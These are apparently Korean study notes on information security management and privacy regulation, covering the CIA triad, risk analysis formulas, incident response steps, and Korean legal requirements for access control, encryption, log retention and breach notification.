· 정보통신서비스 제공자 등은 개인정보취급자가 개인정보처리시스템에 접속한 기록을 월 1회 이상 정기적으로 확인·감독하며 시스템 이상 유무의 확인 등을 위해 최소 6개월 이상 접속기록을 보존·관리하여야 한다.

정보보호의 특성(CIA) - 기밀성, 무결성, 가용성
· 기밀성 : 오직 인가된 사람, 인가된 프로세스, 인가된 시스템만이 알 필요성에 근거하여 시스템에 접근해야 한다.
· 무결성 : 네트워크를 통하여 송수신되는 정보의 내용이 불법적으로 생성 또는 변경되거나 삭제되지 않도록 보호되어야 한다.
· 가용성 : 정당한 사용자가 정보시스템의 데이터 또는 자원을 필요할 때 지체없이 원하는 객체 또는 자원에 접근할 수 있어야 한다.

위험평가 요소
· 자산 : 위험을 보유하고 있는 대상
· 위협 : 외부에서 발생하여 자산에 손실을 일으키는 요소, 발생가능성
· 취약점 : 자산의 내부에 존재하는 약점

기술적 보호대책, 물리적 보호대책, 관리적 보호대책
정보보호정책의 목적, 정보보호정책의 적용범위, 책임 명확히 정의, 문서로 승인
정보보호정책은 표준, 지침, 절차의 개발을 통해 명시적인 접근방법을 제공해 줄 수 있다.

위험평가, 위험관리, 위험관리계획
위험 대책 방안 : 위험감소, 위험 회피, 위험 전가

자산에 대한 중요도를 평가하기 위하여 먼저 자산목록을 만든다.
자산을 평가하고 관리하기 용이하게 재분류할 수 있도록 자산분석을 실시한다.

위험분석 단계 : 자산식별→위협분석→취약성분석→위험평가
미러(A-A) - 핫(A-S, 실시간 미러링) - 웜(중요자원) - 콜드(데이터만 원격지) - 상호지원계획

사업영향분석(BIA)

단일예상손실액(SLE) = **자산가치**(AV) × **노출계수**(EF)
연간예상손실액(ALE) = 예상 손실액(SLE) × 연간 발생률(ARO)

정보보호관리체계(ISMS)
정보보호의 목적인 **정보자산의 기밀성, 무결성, 가용성을 실현**하기 위한 **절차와 과정**을 체계적으로 수립·**문서화**하고 지속적으로 **관리·운영**하는 시스템

다음 기관으로 하여금 주요정보통신기반시설의 취약점을 분석·평가하게 할 수 있다.
한국인터넷진흥원(KISA), 정보공유분석센터(ISAC), 정보보호전문서비스기업, 한국전자통신연구원(ETRI)

정보통신서비스제공자는 이용자의 개인정보를 보호하고 건전하고 안전한 정보통신서비스를 제공하여 이용자의 권익보호와 정보이용능력에 이바지하여야 한다.

개인정보/인증/인증서/전자서명/전자문서/공인전자서명

미래창조과학부장관, 안전, 신뢰성, 설립목적
미래창조과학부장관은 인증업무의 안전성과 신뢰성 확보를 위하여 공인인증기관이 인증업무수행에 있어 지키어야 할 구체적 사항을 전자서명 인증업무지침으로 정하여 고시할 수 있다.

누구든지 타인의 전자서명생성정보를 도용 또는 누설하여서는 아니된다.

OECD 프라이버시 보호 8원칙 : 정보정확성, 목적 명확성, 이용제한, 공개의 원칙

ISMS 인증 정보보호정책의 공표절차
1. 이해관련자의 검토
2. 최고경영자의 승인
3. 모든 임직원 및 관련자에게 이해하기 쉬운 형태 전달

위험관리의 목적 : 위험을 수용 가능한 수준으로 감소시키는 것
위험분석과의 관계
위험을 분석하고 해석하는 과정으로 조직 자산의 취약성을 식별하고 위험분석을 통해 발생가능한 위험의 내용과 정도를 결정하는 과정을 말한다. 이러한 위험분석을 거친 이후 이것을 토대로 위험관리를 하는 것이다.
기본 통제방식 분석
- 위험분석을 위한 자원이 필요하지 않고, 보호대책 선택에 들어가는 시간과 노력이 줄어든다.
상세위험분석
- 정량적 분석 : ALE, 과거자료분석법, 수학공식접근법, 확률분포법
- 정성적 분석 : 델파이법, 시나리오법, 순위결정법

정보공유분석센터가 하는 역할 2가지
☞ 취약점 및 침해요인과 그 대응방안에 관한 정보 제공
☞ 침해사고가 발생하는 경우 실시간 경보·분석체계 운영

침해사고대응방안(7단계)
1. 사고 전 준비 과정
2. 사고 탐지
3. 초기 대응
4. 대응전략 체계화
5. 사고조사
6. 보고서 작성
7. 해결

정보통신서비스 제공자 등은 다음 각 호의 사항을 정하여 개인정보관리책임자 및 개인정보취급자를 대상으로 사업규모, 개인정보 보유수 등을 고려하여 필요한 교육을 정기적으로 실시하여 한다.
1. 교육목적 및 대상
2. 교육 내용
3. 교육일정 및 방법

정보통신 이용촉진 및 정보보호등에 관한 법률에 따른 취해야할 핵심적인 기술적/관리적/물리적 조치

[관리적 조치]

개인정보의 안전한 처리를 위한 **내부 관리계획의 수립, 시행**

[물리적 조치]

개인정보의 안전한 보관을 위한 **시설 또는 잠금장치 설치** 등 물리적 조치 및 위기대응 절차수립

개인정보처리자는 개인정보를 파기할 경우 규정에 따라 조치하여야 한다.

[기술적 조치]

개인정보에 대한 **접근 통제 및 접근 권한**의 제한 조치

개인정보를 안전하게 저장·전송할 수 있는 **암호화 기술**의 적용 또는 이에 상응하는 조치

개인정보 침해사고 발생에 대응하기 위한 **접속기록의 보관 및 위조·변조 방지**를 위한 조치

개인정보에 대한 **악성프로그램 방지** 프로그램 설치 및 갱신

개인정보 유출 등 개인정보 침해사고 방지를 위한 관리용 **단말기의 안전조치**

개인정보보호법 제17조(개인정보의 제공)

개인정보처리자는 정보주체의 개인정보를 제3자에게 제공할 때는 다음의 사항을 정보주체에게 알리고 동의를 받도록 하고 있다.

1. 개인정보를 제공받는 자
2. 개인정보를 제공받는 자의 개인정보 이용 목적
3. 제공하는 개인정보의 항목
4. 개인정보를 제공받는 자의 개인정보 보유 및 이용기간
5. 동의를 거부할 권리가 있다는 사실 및 동의거부에 따른 불이익이 있는 경우에는 그 불이익 내용

개인정보영향평가(PIA), 접근권한관리 : 최소범위, 차등부여, 변경 말소, 3년간 보관, 공유 X

공공기관의 장이 **개인정보 영향평가**를 실시하고자 하는 경우에는 행정자치부장관이 지정하는 평가기관 중에서 의뢰하여야 한다.

○ 개인정보처리자는 **1만명 이상**의 정보주체에 관한 개인정보가 유출된 경우에는 정보주체에 대한 통지 및 조치결과를 **5일** 이내 행자부장관 또는 전문기관 중 어느 하나에 신고하여야 한다.

○ 개인정보처리자는 **1만명 이상**의 정보주체에 관한 개인정보가 유출된 경우에는 통지와 함께 인터넷 홈페이지에 정보주체가 알아보기 쉽도록 **7일 이상 게재**하여야 한다.

○ 개인정보처리자는 실제로 유출 사고가 발생한 것으로 확인된 때에는 정당한 사유가 없는 한 **5일 이내**에 해당 정보주체에게 알려야 한다.

내부관리계획 포함내용 3가지

1. 개인정보보호**책임자의 지정**에 관한 사항
2. 개인정보보호책임자 및 개인정보취급자의 **역할 및 책임**에 관한 사항
3. 개인정보취급자에 대한 **교육**에 관한 사항
4. **접근 권한의 관리**에 관한 사항
5. **접근 통제**에 관한 사항
6. 개인정보의 **암호화 조치**에 관한 사항
7. **접속기록 보관** 및 점검에 관한 사항
8. 악성프로그램 등 **방지**에 관한 사항
9. **물리적 안전조치**에 관한 사항

개인정보보호책임자는 연1회 이상 내부관리계획의 이행 실태를 점검·관리하여야 한다.
개인정보처리자는 개인정보의 분실·도난·유출·위조·변조 또는 훼손되지 아니하도록 내부의사결정 절차를 통하여 다음 각 호의 사항을 포함하는 내부관리계획을 수립·시행하여야 한다.

개인정보처리자 : 업무를 목적으로 개인정보파일을 운용하기 위하여 스스로 또는 다른 사람을 통하여 개인정보를 처리하는 공공기관, 법인, 단체 및 개인 등
개인정보취급자 : 개인정보처리자의 지휘·감독을 받아 개인정보를 처리하는 임직원, 파견근로자, 시간제근로자
개인정보처리시스템 : 개인정보를 처리할 수 있도록 체계적으로 구성한 DB

개인정보 안전성 확보조치 기준에 명시한 접근권한 관리기준 3가지

❶ 개인정보처리자는 개인정보처리시스템에 대한 접근 권한을 업무 수행에 필요한 최소한의 범위로 업무 담당자에 따라 차등 부여하여야 한다.
❷ 개인정보처리자는 전보 또는 퇴직 등 인사이동이 발생하여 개인정보취급자가 변경되었을 경우 지체없이 개인정보처리시스템의 접근 권한을 변경 또는 말소하여야 한다.
❸ 개인정보처리자는 제1항 및 제2항에 의한 권한 부여, 변경 또는 말소에 대한 내역을 기록하고, 그 기록을 최소 3년간 보관하여야 한다.
❹ 개인정보처리자는 개인정보취급자 또는 정보주체가 안전한 비밀번호를 설정하여 이행할 수 있도록 비밀번호 작성규칙을 수립하여 적용하여야 한다.

개인정보의 안전성 확보조치 기준

제7조(개인정보의 암호화)
❶ 개인정보처리자는 고유식별정보, 비밀번호, 바이오정보를 정보통신망을 통하여 송신하거나 보조저장매체 등을 통하여 전달하는 경우에는 이를 암호화하여야 한다.
❷ 개인정보처리자는 비밀번호 및 바이오정보는 암호화하여 저장하여야 한다. 다만, 비밀번호를 저장하는 경우에는 복호화되지 아니하도록 일방향 암호화하여 저장하여야 한다.
❸ 개인정보처리자는 인터넷 구간 및 인터넷 구간과 DMZ에 고유식별정보를 저장하는 경우에는 이를 암호화하여야 한다.

제8조(접속기록의 보관 및 점검)
❶ 개인정보처리자는 개인정보취급자가 개인정보처리시스템에 접속한 기록을 6개월 이상 보관·관리하여야 한다.
❷ 개인정보처리자는 개인정보의 분실·도난·유출·위조·변조 또는 훼손 등에 대응하기 위하여 개인정보처리시스템의 접속기록 등을 반기별로 1회 이상 점검하여야 한다.

개인정보처리자는 개인정보취급자 또는 정보주체가 안전한 비밀번호를 설정하여 이행할 수 있도록 비밀번호 작성규칙을 수립하여 적용하여야 한다.